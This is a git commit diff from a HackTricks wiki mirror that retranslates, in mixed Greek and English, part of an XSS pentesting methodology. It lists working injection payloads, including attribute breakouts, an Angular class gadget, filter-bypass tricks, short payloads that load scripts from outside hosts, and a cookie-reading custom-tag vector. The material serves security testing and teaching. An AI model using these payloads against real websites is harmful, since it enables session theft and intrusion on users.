mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem
This commit is contained in:
parent
67bf4628ad
commit
9fc446a3ce
@ -725,6 +725,7 @@
|
||||
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
||||
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
|
||||
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
|
@ -4,81 +4,80 @@
|
||||
|
||||
## Μεθοδολογία
|
||||
|
||||
1. Έλεγχος αν **οποιαδήποτε τιμή που ελέγχετε** (_parameters_, _path_, _headers_?, _cookies_?) **ανακλάται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
|
||||
2. **Βρείτε το πλαίσιο** όπου ανακλάται/χρησιμοποιείται.
|
||||
3. If **reflected**
|
||||
1. Check **which symbols can you use** and depending on that, prepare the payload:
|
||||
1. Ελέγξτε αν **κάποια τιμή που ελέγχετε** (_parameters_, _path_, _headers_?, _cookies_?) **αντανακλάται** στο HTML ή **χρησιμοποιείται** από κώδικα **JS**.
|
||||
2. **Βρείτε το πλαίσιο** όπου αντανακλάται/χρησιμοποιείται.
|
||||
3. Αν **αντανακλάται**
|
||||
1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα προετοιμάστε το payload:
|
||||
1. Σε **raw HTML**:
|
||||
1. Μπορείτε να δημιουργήσετε νέα HTML tags;
|
||||
2. Μπορείτε να χρησιμοποιήσετε events ή attributes που υποστηρίζουν το πρωτόκολλο `javascript:`?;
|
||||
3. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||
4. Ερμηνεύεται το HTML περιεχόμενο από κάποιο client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε ένα [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Αν δεν μπορείτε να δημιουργήσετε HTML tags που εκτελούν JS κώδικα, θα μπορούσατε να εκμεταλλευτείτε ένα [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
1. Μπορείτε να δημιουργήσετε νέες HTML tags;
|
||||
2. Μπορείτε να χρησιμοποιήσετε events ή attributes που υποστηρίζουν το πρωτόκολλο `javascript:`;
|
||||
3. Μπορείτε να παρακάμψετε προστασίες;
|
||||
4. Αν το HTML περιεχόμενο ερμηνεύεται από κάποιο client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), μπορείτε να εκμεταλλευτείτε ένα [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Αν δεν μπορείτε να δημιουργήσετε HTML tags που εκτελούν JS, μπορείτε να εκμεταλλευτείτε ένα [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Μέσα σε ένα **HTML tag**:
|
||||
1. Μπορείτε να εξέλθετε στο raw HTML context;
|
||||
1. Μπορείτε να βγείτε στο raw HTML context;
|
||||
2. Μπορείτε να δημιουργήσετε νέα events/attributes για να εκτελέσετε JS κώδικα;
|
||||
3. Το attribute όπου βρίσκεστε υποστηρίζει εκτέλεση JS;
|
||||
4. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||
3. Το attribute στο οποίο παγιδεύεστε υποστηρίζει εκτέλεση JS;
|
||||
4. Μπορείτε να παρακάμψετε προστασίες;
|
||||
3. Μέσα σε **JavaScript code**:
|
||||
1. Μπορείτε να διαφύγετε από το `<script>` tag;
|
||||
2. Μπορείτε να διαφύγετε από το string και να εκτελέσετε διαφορετικό JS κώδικα;
|
||||
3. Τα inputs σας είναι σε template literals `` ``;
|
||||
4. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||
2. Μπορείτε να διαφύγετε από το string και να εκτελέσετε διαφορετικό JS code;
|
||||
3. Τα input σας είναι σε template literals ``?
|
||||
4. Μπορείτε να παρακάμψετε προστασίες;
|
||||
4. Javascript **function** που **εκτελείται**
|
||||
1. Μπορείτε να δηλώσετε το όνομα της function που θα εκτελεστεί. π.χ.: `?callback=alert(1)`
|
||||
4. If **used**:
|
||||
1. Μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**, προσέξτε πώς ελέγχεται το input σας και αν το **ελεγχόμενο input χρησιμοποιείται από κάποιο sink.**
|
||||
1. Μπορείτε να υποδείξετε το όνομα της function προς εκτέλεση. π.χ.: `?callback=alert(1)`
|
||||
4. Αν **χρησιμοποιείται**:
|
||||
1. Μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**, προσέξτε πώς το input σας ελέγχεται και αν το **ελεγχόμενο input** χρησιμοποιείται από κάποιο sink.
|
||||
|
||||
When working on a complex XSS you might find interesting to know about:
|
||||
Όταν δουλεύετε πάνω σε ένα σύνθετο XSS μπορεί να σας φανεί χρήσιμο να γνωρίζετε για:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Τιμές που ανακλώνται
|
||||
## Τιμές που αντανακλώνται
|
||||
|
||||
Για να εκμεταλλευτείτε επιτυχώς ένα XSS το πρώτο που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και ανακλάται** στη σελίδα.
|
||||
Για να εκμεταλλευτείτε επιτυχώς ένα XSS, το πρώτο που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και που αντανακλάται** στη σελίδα.
|
||||
|
||||
- **Ενδιάμεσα ανακλώμενη**: Αν βρείτε ότι η τιμή ενός parameter ή ακόμα και του path ανακλάται στη σελίδα, μπορείτε να εκμεταλλευτείτε ένα **Reflected XSS**.
|
||||
- **Αποθηκευμένη και ανακλώμενη**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον server και ανακλάται κάθε φορά που επισκέπτεστε τη σελίδα, μπορείτε να εκμεταλλευτείτε ένα **Stored XSS**.
|
||||
- **Προσπελαύνεται μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε προσπελαύνεται μέσω JS, μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**.
|
||||
- **Ενδιάμεσα αντανακλώμενη**: Αν βρείτε ότι η τιμή ενός parameter ή ακόμα και του path αντανακλάται στη σελίδα, μπορείτε να εκμεταλλευτείτε ένα **Reflected XSS**.
|
||||
- **Αποθηκευμένη και αντανακλώμενη**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον server και αντανακλάται κάθε φορά που ανοίγετε τη σελίδα, μπορείτε να εκμεταλλευτείτε ένα **Stored XSS**.
|
||||
- **Προσπελάσιμη μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε προσπελαύνεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**.
|
||||
|
||||
## Πλαίσια
|
||||
|
||||
Όταν προσπαθείτε να εκμεταλλευτείτε ένα XSS, το πρώτο που πρέπει να ξέρετε είναι **πού ανακλάται το input σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο JS κώδικα με διαφορετικούς τρόπους.
|
||||
Όταν επιχειρείτε να εκμεταλλευτείτε ένα XSS, το πρώτο που πρέπει να γνωρίζετε είναι **πού αντανακλάται το input σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
|
||||
|
||||
### Raw HTML
|
||||
|
||||
Αν το input σας **ανακλάται στο raw HTML** της σελίδας, θα πρέπει να εκμεταλλευτείτε κάποιο **HTML tag** για να εκτελέσετε JS κώδικα: `<img , <iframe , <svg , <script` ... αυτά είναι μόνο μερικά από τα πολλά δυνατά HTML tags που μπορείτε να χρησιμοποιήσετε.\
|
||||
Επίσης, να έχετε υπόψη [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Αν το input σας **αντανακλάται στο raw HTML** της σελίδας, θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** για να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτά είναι μερικά μόνο από τα πολλά HTML tags που μπορείτε να χρησιμοποιήσετε.\ Also, keep in mind [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Inside HTML tags attribute
|
||||
|
||||
Αν το input σας ανακλάται μέσα στην τιμή ενός attribute ενός tag, μπορείτε να δοκιμάσετε:
|
||||
Αν το input σας αντανακλάται μέσα στην τιμή ενός attribute ενός tag, μπορείτε να δοκιμάσετε:
|
||||
|
||||
1. Να **ξεφύγετε από το attribute και από το tag** (τότε θα βρεθείτε στο raw HTML) και να δημιουργήσετε νέο HTML tag για εκμετάλλευση: `"><img [...]`
|
||||
2. Αν **μπορείτε να ξεφύγετε από το attribute αλλά όχι από το tag** (`>` κωδικοποιείται ή διαγράφεται), ανάλογα με το tag μπορείτε να **δημιουργήσετε ένα event** που εκτελεί JS κώδικα: `" autofocus onfocus=alert(1) x="`
|
||||
3. Αν **δεν μπορείτε να ξεφύγετε από το attribute** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο attribute** ανακλάται η τιμή σας και **αν ελέγχετε ολόκληρη την τιμή ή μόνον ένα μέρος** θα μπορείτε να το εκμεταλλεύσετε. Για **παράδειγμα**, αν ελέγχετε ένα event όπως `onclick=` θα μπορείτε να το κάνετε να εκτελέσει arbitrary code όταν γίνει κλικ. Ένα ακόμα ενδιαφέρον **παράδειγμα** είναι το attribute `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε arbitrary code: **`href="javascript:alert(1)"`**
|
||||
4. Αν το input σας ανακλάται μέσα σε "**unexpoitable tags**" μπορείτε να δοκιμάσετε το κόλπο με το **`accesskey`** για να εκμεταλλευτείτε το vuln (θα χρειαστεί κάποιο social engineering για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. Να **δραπετεύσετε από το attribute και από το tag** (τότε θα βρεθείτε στο raw HTML) και να δημιουργήσετε νέο HTML tag για εκμετάλλευση: `"><img [...]`
|
||||
2. Αν **μπορείτε να διαφύγετε από το attribute αλλά όχι από το tag** (`>` κωδικοποιείται ή διαγράφεται), ανάλογα με το tag μπορείτε να **δημιουργήσετε ένα event** που εκτελεί JS κώδικα: `" autofocus onfocus=alert(1) x="`
|
||||
3. Αν **δεν μπορείτε να διαφύγετε από το attribute** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο attribute** αντανακλάται η τιμή σας και **αν ελέγχετε ολόκληρη την τιμή ή μόνο μέρος της** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα event όπως `onclick=` θα μπορείτε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν γίνει κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το attribute `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||
4. Αν το input σας αντανακλάται μέσα σε "**unexpoitable tags**" μπορείτε να δοκιμάσετε το κόλπο με **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή social engineering για να το εκμεταλλεύσετε): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Παράδειγμα όπου το Angular εκτελεί XSS αν ελέγχετε ένα class name:
|
||||
Παράξενο παράδειγμα του Angular να εκτελεί XSS αν ελέγχετε ένα class name:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### Μέσα στον JavaScript κώδικα
|
||||
### Μέσα σε κώδικα JavaScript
|
||||
|
||||
Σε αυτή την περίπτωση το input σου αντανακλάται μεταξύ **`<script> [...] </script>`** tags μιας HTML σελίδας, μέσα σε ένα `.js` αρχείο ή μέσα σε ένα attribute που χρησιμοποιεί το **`javascript:`** πρωτόκολλο:
|
||||
Σε αυτή την περίπτωση η είσοδός σας αντανακλάται ανάμεσα στις ετικέτες **`<script> [...] </script>`** μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα attribute που χρησιμοποιεί το πρωτόκολλο **`javascript:`**:
|
||||
|
||||
- Αν αντανακλάται μεταξύ **`<script> [...] </script>`** tags, ακόμα κι αν το input σου είναι μέσα σε κάποιο είδος quotes, μπορείς να προσπαθήσεις να εγχύσεις `</script>` και να ξεφύγεις από αυτό το context. Αυτό δουλεύει επειδή ο **browser θα πρώτα αναλύσει τα HTML tags** και μετά το περιεχόμενο, επομένως δεν θα αντιληφθεί ότι το εγχυμένο `</script>` tag βρίσκεται μέσα στον HTML κώδικα.
|
||||
- Αν αντανακλάται **μέσα σε JS string** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγεις** από το string, να **εκτελέσεις** τον κώδικά σου και να **ανακατασκευάσεις** τον JS κώδικα (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
|
||||
- Αν αντανακλάται ανάμεσα σε **`<script> [...] </script>`** ετικέτες, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιαδήποτε είδους εισαγωγικά, μπορείτε να προσπαθήσετε να εισαγάγετε `</script>` και να ξεφύγετε από αυτό το context. Αυτό λειτουργεί επειδή **το πρόγραμμα περιήγησης πρώτα θα αναλύσει τις ετικέτες HTML** και μετά το περιεχόμενο, επομένως δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` βρίσκεται μέσα στον HTML κώδικα.
|
||||
- Αν αντανακλάται **μέσα σε JS string** και το προηγούμενο κόλπο δεν δουλεύει, θα χρειαστεί να **βγείτε** από το string, να **εκτελέσετε** τον κώδικά σας και να **αναδομήσετε** τον JS κώδικα (αν υπάρχει οποιοδήποτε σφάλμα, δεν θα εκτελεστεί:
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Αν αντανακλάται μέσα σε template literals μπορείς να **ενσωματώσεις JS εκφράσεις** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Η **κωδικοποίηση Unicode** λειτουργεί για να γράψεις **έγκυρο javascript code**:
|
||||
- Αν αντανακλάται μέσα σε template literals μπορείτε να **ενσωματώσετε JS εκφράσεις** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Η **Unicode encode** λειτουργεί για να γράψετε **valid javascript code**:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -86,29 +85,29 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσεις συναρτήσεις, μεταβλητές ή κλάσεις αφού έχουν χρησιμοποιηθεί, ώστε να μπορείς να εκμεταλλευτείς σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\
|
||||
**Δες την παρακάτω σελίδα για περισσότερες πληροφορίες:**
|
||||
Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσετε functions, variables ή classes αφού έχουν χρησιμοποιηθεί, έτσι ώστε να μπορείτε να εκμεταλλευτείτε σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή functions.**\
|
||||
**Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
{{#endref}}
|
||||
|
||||
### Συνάρτηση Javascript
|
||||
### Javascript Function
|
||||
|
||||
Πολλές ιστοσελίδες έχουν endpoints που **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα συνηθισμένο παράδειγμα που θα δεις σε πραγματικά συστήματα είναι κάτι σαν: `?callback=callbackFunc`.
|
||||
Πολλές σελίδες έχουν endpoints που **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που βλέπεται στο wild είναι κάτι σαν: `?callback=callbackFunc`.
|
||||
|
||||
Ένας καλός τρόπος για να διαπιστώσεις αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να **τροποποιήσεις την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξεις στην κονσόλα για σφάλματα όπως:
|
||||
Ένας καλός τρόπος να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **να τροποποιήσετε την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξετε στην console για σφάλματα όπως:
|
||||
|
||||
.png>)
|
||||
|
||||
Σε περίπτωση που είναι ευάλωτο, θα μπορούσες να **προκαλέσεις ένα alert** απλώς στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επαληθεύουν το περιεχόμενο** ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscore (**`[\w\._]`**).
|
||||
Σε περίπτωση που είναι ευάλωτο, μπορεί να καταφέρετε να **προκαλέσετε ένα alert** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επαληθεύουν το περιεχόμενο** ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscores (**`[\w\._]`**).
|
||||
|
||||
Παρόλα αυτά, ακόμα και με αυτόν τον περιορισμό είναι εφικτό να εκτελέσεις κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείς να χρησιμοποιήσεις αυτούς τους έγκυρους χαρακτήρες για να **προσπελάσεις οποιοδήποτε στοιχείο στο DOM**:
|
||||
Ωστόσο, ακόμα και με αυτόν τον περιορισμό είναι δυνατή η εκτέλεση ορισμένων ενεργειών. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **προσπελάσετε οποιοδήποτε στοιχείο στο DOM**:
|
||||
|
||||
.png>)
|
||||
|
||||
Κάποιες χρήσιμες συναρτήσεις για αυτό:
|
||||
Μερικές χρήσιμες συναρτήσεις για αυτό:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
@ -116,11 +115,11 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Μπορείτε επίσης να δοκιμάσετε να **trigger Javascript functions** απευθείας: `obj.sales.delOrders`.
|
||||
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
|
||||
|
||||
Ωστόσο, συνήθως τα endpoints που εκτελούν την ενδεικνυόμενη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **other pages in the same origin** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
|
||||
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **άλλες σελίδες στο ίδιο same origin** will have a **more interesting DOM** to perform more actions.
|
||||
|
||||
Επομένως, για να **abuse this vulnerability in a different DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**:
|
||||
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +128,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από επιτιθέμενο** όπως `location.href`. Ένας επιτιθέμενος θα μπορούσε να το κακοποιήσει αυτό για να εκτελέσει αυθαίρετο JS code.
|
||||
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . Ένας attacker, could abuse this to execute arbitrary JS code.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,7 +137,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Αυτού του είδους τα XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του client μιας web εφαρμογής αλλά από **οποιοδήποτε** **context**. Αυτού του τύπου η **arbitrary JavaScript execution** μπορεί ακόμη να χρησιμοποιηθεί για απόκτηση **RCE**, ανάγνωση **arbitrary** **files** σε clients και servers, και άλλα.\
|
||||
These kind of XSS can be found **οπουδήποτε**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
|
||||
Κάποια **παραδείγματα**:
|
||||
|
||||
|
||||
@ -157,11 +156,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Injecting inside raw HTML
|
||||
|
||||
Όταν η είσοδός σας αντανακλάται **inside the HTML page** ή μπορείτε να διαφύγετε και να εγχύσετε HTML code σε αυτό το context, το **πρώτο** που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να κακοποιήσετε το `<` για να δημιουργήσετε νέα tags: Απλώς προσπαθήστε να **reflect** αυτό το **char** και ελέγξτε αν γίνεται **HTML encoded** ή **διαγράφεται** ή αν **αποτυπώνεται χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτό το σενάριο**.\
|
||||
Για αυτές τις περιπτώσεις επίσης **έχετε υπόψη** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***_
|
||||
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
|
||||
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Σημείωση: Ένα HTML comment μπορεί να κλείσει χρησιμοποιώντας**`-->`**ή **`--!>`**_
|
||||
|
||||
Σε αυτή την περίπτωση και αν δεν χρησιμοποιείται black/whitelisting, μπορείτε να χρησιμοποιήσετε payloads όπως:
|
||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -169,22 +168,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Αλλά, αν γίνεται black/whitelisting των tags/attributes, θα χρειαστεί να **brute-force ποια tags** μπορείτε να δημιουργήσετε.\
|
||||
Μόλις **εντοπίσετε ποια tags επιτρέπονται**, θα πρέπει να **brute-force attributes/events** μέσα στα έγκυρα tags που βρήκατε για να δείτε πώς μπορείτε να επιτεθείτε στο context.
|
||||
Αλλά, αν χρησιμοποιείται tags/attributes black/whitelisting, θα χρειαστεί να **brute-force which tags** που μπορείτε να δημιουργήσετε.\
|
||||
Μόλις έχετε **located which tags are allowed**, θα χρειαστεί να **brute-force attributes/events** μέσα στα εντοπισμένα έγκυρα tags για να δείτε πώς μπορείτε να επιτεθείτε στο context.
|
||||
|
||||
### Tags/Events brute-force
|
||||
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Στη συνέχεια, στείλτε όλα αυτά χρησιμοποιώντας Burp intruder και ελέγξτε αν κάποια tags δεν εντοπίστηκαν ως κακόβουλα από το WAF. Μόλις ανακαλύψετε ποια tags μπορείτε να χρησιμοποιήσετε, μπορείτε να **brute force all the events** χρησιμοποιώντας τα έγκυρα tags (στην ίδια σελίδα κάντε κλικ στο _**Copy events to clipboard**_ και ακολουθήστε την ίδια διαδικασία όπως πριν).
|
||||
|
||||
### Custom tags
|
||||
|
||||
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
|
||||
Αν δεν βρήκατε κανένα έγκυρο HTML tag, μπορείτε να προσπαθήσετε να **create a custom tag** και να εκτελέσετε JS code με το `onfocus` attribute. Στο XSS request, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **focus on that object** και να **execute** τον κώδικα:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Αν χρησιμοποιείται κάποιο είδος blacklist, μπορείς να προσπαθήσεις να το bypass με μερικά αστεία κόλπα:
|
||||
Εάν χρησιμοποιείται κάποιο είδος blacklist, μπορείτε να προσπαθήσετε να το bypass με μερικά αστεία κόλπα:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -236,29 +235,29 @@ onerror=alert`1`
|
||||
```
|
||||
### Παράκαμψη μήκους (small XSSs)
|
||||
|
||||
> [!NOTE] > **Περισσότερα μικρά XSS payloads για διαφορετικά περιβάλλοντα** [**μπορούν να βρεθούν εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Περισσότερα tiny XSS payloads για διαφορετικά περιβάλλοντα** [**βρίσκονται εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Το τελευταίο χρησιμοποιεί 2 χαρακτήρες unicode που επεκτείνονται σε 5: telsr\
|
||||
Μπορείτε να βρείτε περισσότερους από αυτούς τους χαρακτήρες [here](https://www.unicode.org/charts/normalization/).\
|
||||
Για να ελέγξετε σε ποιους χαρακτήρες αποσυντίθεται, δείτε [here](https://www.compart.com/en/unicode/U+2121).
|
||||
Το τελευταίο χρησιμοποιεί 2 unicode χαρακτήρες που επεκτείνονται σε 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
|
||||
Αν, για να εκμεταλλευτείτε την ευπάθεια, χρειάζεται ο **χρήστης να κάνει κλικ σε ένα σύνδεσμο ή σε μια φόρμα** με προ-συμπληρωμένα δεδομένα, μπορείτε να δοκιμάσετε να [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (αν η σελίδα είναι ευάλωτη).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
### Αδύνατο - Dangling Markup
|
||||
|
||||
If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because you could **exploit** the vulnerability **without** executing **JS** code.
|
||||
Αν νομίζετε απλώς ότι **είναι αδύνατο να δημιουργήσετε ένα HTML tag με ένα attribute για να εκτελέσετε JS code**, θα πρέπει να ελέγξετε [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)επειδή θα μπορούσατε να **exploit** την ευπάθεια **χωρίς** να εκτελέσετε **JS** code.
|
||||
|
||||
## Εισαγωγή μέσα σε HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
### Μέσα στο tag/escaping from attribute value
|
||||
|
||||
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](#injecting-inside-raw-html) to execute JS code.\
|
||||
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
Αν βρίσκεστε **μέσα σε ένα HTML tag**, το πρώτο που μπορείτε να δοκιμάσετε είναι να **escape** από το tag και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην [previous section](#injecting-inside-raw-html) για να εκτελέσετε JS code.\
|
||||
Αν **δεν μπορείτε να escape από το tag**, μπορείτε να δημιουργήσετε νέα attributes μέσα στο tag για να προσπαθήσετε να εκτελέσετε JS code, για παράδειγμα χρησιμοποιώντας κάποιο payload όπως (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
